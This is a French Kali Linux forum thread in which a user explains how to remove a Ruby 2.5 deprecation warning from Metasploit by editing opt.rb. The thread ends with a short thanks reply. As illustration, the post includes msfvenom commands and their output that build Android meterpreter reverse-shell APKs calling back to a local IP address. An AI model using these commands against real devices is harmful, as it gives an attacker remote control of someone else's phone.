Auteur Sujet: pb ruby 2.5 avec Metasploit - methode pour supprimer warnings  (Lu 1697 fois)

0 Membres et 1 Invité sur ce sujet

Hors ligne _john_doe

  • Contributeur de Kali-linux.fr
  • Membre VIP
  • *****
  • Messages: 606
  • +36/-5
Bonjour a tous,
Je viens de m'appercevoir qu'avec la version 2.5 de Ruby certains scripts affichaient des warnings .
Exemple avec un payload android:
root@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.26 LPORT=444 R>app1.apk
/usr/share/metasploit-framework/lib/msf/core/opt.rb:55: warning: constant OpenSSL::SSL::SSLContext::METHODS is deprecated
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 10088 bytes

Pour suprimer ces warnings il faut aller dans le script incriminé (/usr/share/metasploit-framework/lib/msf/core/opt.rb) et remplacer OpenSSL::SSL::SSLContext::METHODSpar
[:TLSv1_2, :TLSv1_1, :TLSv1, :SSLv3, :SSLv23, :SSLv2]les warnings devraient disparaitre
Apres modif :
root@kali:/# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.26 LPORT=4444 -o test2_payload.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 10087 bytes
Saved as: test2_payload.apk



Hors ligne disquette

  • Membre Junior
  • *
  • Messages: 22
  • +0/-0
Re : pb ruby 2.5 avec Metasploit - methode pour supprimer warnings
« Réponse #1 le: 30 mars 2018 à 14:42:49 »
 ;) Ha merci !!!!